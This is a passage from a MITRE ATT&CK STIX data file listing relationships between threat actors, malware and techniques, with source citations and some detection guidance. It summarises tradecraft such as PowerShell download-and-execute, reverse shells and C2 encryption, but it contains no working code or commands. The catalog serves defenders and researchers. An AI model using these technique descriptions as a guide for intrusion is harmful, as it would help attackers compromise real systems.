Avos Jun 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73d5e6ab-9d0c-4884-9db0-02033523e61a", "type": "relationship", "created": "2020-06-16T20:51:13.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Redaman January 2019", "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}], "modified": "2020-06-16T20:51:13.040Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can detect if it is running within a sandbox or other virtualized analysis environment.(Citation: Unit42 Redaman January 2019)\t", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73d7126b-3e7a-441c-93e0-9803aec12ca5", "type": "relationship", "created": "2022-02-09T14:32:47.562Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "modified": "2022-02-09T14:32:47.562Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used an instrumentor script to gather the names of all services running on a victim's system.(Citation: Talos Kimsuky Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73d8feea-0b53-419a-be1b-5750aa47f2df", "type": "relationship", "created": "2020-06-18T17:27:09.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-18T17:27:09.323Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to remove files and folders related to previous infections.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534", "type": "relationship", "created": "2017-05-31T21:33:27.073Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Stealth Falcon May 2016", "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", "url": "https://citizenlab.org/2016/05/stealth-falcon/"}], "modified": "2020-03-21T00:37:00.414Z", "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware encrypts C2 traffic using RC4 with a hard-coded key.(Citation: Citizen Lab Stealth Falcon May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73db6a54-2270-431b-b7eb-2c5c71389637", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2019-09-16T18:01:16.139Z", "description": "[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73ddd025-b313-49cc-8a28-4c3869eb5a16", "type": "relationship", "created": "2021-07-30T15:49:45.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}, {"source_name": "Bishop Fox Sliver Framework August 2019", "url": "https://labs.bishopfox.com/tech-blog/sliver", "description": "Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."}, {"source_name": "GitHub Sliver C2 DNS", "url": "https://github.com/BishopFox/sliver/wiki/DNS-C2", "description": "BishopFox. (n.d.). Sliver DNS C2 . Retrieved September 15, 2021."}], "modified": "2021-10-16T02:15:06.065Z", "description": "[Sliver](https://attack.mitre.org/software/S0633) can support C2 communications over DNS.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2 DNS)", "relationship_type": "uses", "source_ref": "tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--73e00ae6-71f1-4ad7-861a-f0643b42c2ac", "created": "2022-04-07T17:58:45.342Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}, {"source_name": "Uptycs Confucius APT Jan 2021", "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has been distributed as a malicious attachment within an email.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.702Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73e0604a-2509-43a6-9318-a9494e570363", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "\u00dcberwachung APT28 Forfiles June 2015", "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"source_name": "TrendMicro Pawn Storm 2019", "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-27T14:18:50.354Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has retrieved internal documents from machines inside victim environments, including by using [Forfiles](https://attack.mitre.org/software/S0193) to stage documents before exfiltration.(Citation: \u00dcberwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73e382dc-5808-42b6-b796-e4ca35a198f4", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI Ragnar Locker 2020", "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.", "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73e8d90b-62e2-4ea2-b66c-2c94297bdcc5", "type": "relationship", "created": "2021-03-04T14:29:23.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity Exchange Marauder March 2021", "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}], "modified": "2021-04-25T23:43:56.495Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) gathered the fully qualified domain names (FQDNs) for targeted Exchange servers in the victim's environment.(Citation: Volexity Exchange Marauder March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--73ee6e9e-560a-42d1-8578-d5e59899dcf7", "created": "2023-03-10T20:45:39.428Z", "revoked": false, "external_references": [{"source_name": "Deep Instinct Black Basta August 2022", "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. 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Retrieved July 31, 2019."}], "modified": "2019-07-31T19:57:28.969Z", "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to download files from a given URL.(Citation: TechNet Certutil)(Citation: LOLBAS Certutil)", "relationship_type": "uses", "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--73fa4b5d-e75f-4050-b7aa-d003b3a31bf3", "created": "2021-04-14T23:23:56.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:03:08.860Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. 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SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. 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Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim computer name.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74101766-40b3-45d7-846f-4c10932b67ec", "type": "relationship", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.853Z", "description": "Monitor processes for those that may be used to modify binary headers.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "description": "O'Leary, J., et al. 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Retrieved February 15, 2018.", "source_name": "FireEye APT33 Sept 2017"}], "modified": "2020-03-19T21:48:59.676Z", "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.(Citation: FireEye APT33 Sept 2017)", "relationship_type": "uses", "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74192d82-680f-412e-80df-27b86fdfa20c", "type": "relationship", "created": "2020-10-20T00:09:33.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-20T00:09:33.144Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--741c03f1-5c9c-4737-bf2d-279503a042ab", "created": "2022-08-22T15:33:31.438Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason Bumblebee August 2022", "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "description": "Cybereason. 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Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has been spread through e-mail campaigns with malicious links.(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)", "modified": "2022-08-29T13:39:41.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--741fd887-1d55-489b-a77f-3a1d28016305", "created": "2024-02-07T18:55:59.100Z", "revoked": false, "external_references": [{"source_name": "NCSC-NL COATHANGER Feb 2024", "description": "Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). 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Retrieved February 7, 2024.", "url": "https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-07T18:55:59.100Z", "description": "[COATHANGER](https://attack.mitre.org/software/S1105) will survey the contents of system files during installation.(Citation: NCSC-NL COATHANGER Feb 2024)", "relationship_type": "uses", "source_ref": "malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7423b6a3-9956-49ea-ba11-3a678994352c", "created": "2023-03-10T18:38:51.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Black Basta May 2022", "description": "Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware\u2019s Infection Routine. Retrieved March 7, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"}, {"source_name": "Trend Micro Black Basta Spotlight September 2022", "description": "Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-10T21:24:23.121Z", "description": "[Black Basta](https://attack.mitre.org/software/S1070) has been downloaded and executed from malicious Excel files.(Citation: Trend Micro Black Basta May 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--742588af-8d12-4730-8cb0-d59667a4bdd1", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T23:11:19.240Z", "description": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as `vssadmin`, `wbadmin`, and `bcdedit`.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7425e191-ec5c-40ec-ab5f-fb99d6064422", "type": "relationship", "created": "2019-01-31T00:36:40.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Konni May 2017", "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."}, {"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "modified": "2022-01-06T19:47:22.611Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) used PowerShell to download and execute a specific 64-bit version of the malware.(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) ", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74316a28-d1a6-40b8-8c49-836f06e90e02", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "source_name": "Cymmetria Patchwork"}, {"url": "https://securelist.com/the-dropping-elephant-actor/75328/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", "source_name": "Securelist Dropping Elephant"}, {"url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries", "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", "source_name": "Symantec Patchwork"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. 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(2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}, {"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "modified": "2022-01-06T20:40:02.200Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) has modified registry keys of ComSysApp, Svchost, and xmlProv on the machine to gain persistence.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) ", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7431f8d2-32df-4b26-8b17-24f10f861fde", "type": "relationship", "created": "2021-02-09T14:35:39.785Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Bad Rabbit", "url": "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "description": "M.L\u00e9veille, M-E.. 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Retrieved January 28, 2021."}], "modified": "2021-05-04T19:28:12.894Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) enumerates open SMB shares on internal victim networks.(Citation: ESET Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--743a0baf-8d6d-4e4a-a72b-0413a5d49594", "type": "relationship", "created": "2020-05-06T21:31:07.549Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). 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(2015, November 4). Evolving Threats: dissection of a CyberEspionage attack. Retrieved April 4, 2018.", "source_name": "RSAC 2015 Abu Dhabi Stefano Maccaglia"}], "modified": "2020-03-16T16:53:51.969Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected information from Microsoft SharePoint services within target networks.(Citation: RSAC 2015 Abu Dhabi Stefano Maccaglia)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--743f2f00-57d0-4df8-94db-b044e2551890", "created": "2023-08-07T16:05:05.713Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.655Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated stolen victim data to various cloud storage providers.(Citation: Mandiant FIN12 Oct 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, 